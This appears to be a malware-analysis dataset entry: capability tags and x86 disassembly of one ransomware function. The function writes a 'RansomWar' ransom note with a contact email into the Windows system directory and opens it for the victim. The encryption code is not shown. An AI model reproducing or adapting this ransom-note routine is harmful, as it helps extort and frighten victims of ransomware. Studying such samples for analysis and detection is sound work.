Function at 0x401bb0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x134
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x114], 0
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._GetSystemDirectoryA_8
sub esp, 8
lea eax, [ebp - 0x110]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x110]
add eax, edx
mov dword [eax], 0x6e61525c
mov dword [eax + 4], 0x576d6f73
mov dword [eax + 8], 0x742e7261
mov word [eax + 0xc], 0x7478
mov byte [eax + 0xe], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 2
mov dword [esp + 4], 0x40000000
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x401e0c
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x114]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x52
mov dword [esp + 4], str.Dear_user__r_n_some_of_your_files_have_been_encrypted_using_a_quite_strong_system._r_n
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x114]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x36
mov dword [esp + 4], str.Now_you_are_scared_but_I_will_not_ask_you_for_money._r_n
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x114]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x3a
mov dword [esp + 4], str.If_you_want_to_get_back_your_files_you_can_do_following:_r_n
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x114]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x44
mov dword [esp + 4], str.1__Contact_a_good_antivirus_company_that_will_decrypt_them_for_you_r_n
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x114]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x4f
mov dword [esp + 4], str.2__You_can_send_an_email_to_back9001_yahoo.com_requesting_a_decryptor_program_r_n
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x114]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x51
mov dword [esp + 4], str.3__You_can_launch_your_PC_trought_the_window_or_use_a_better_OS__like_linux__:__r_n
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x114]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x22
mov dword [esp + 4], str._r_n_r_n_RansomWar_by__WarGame_eof__r_n
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
nop
mov edi, dword [ebp - 4]
leave
ret 4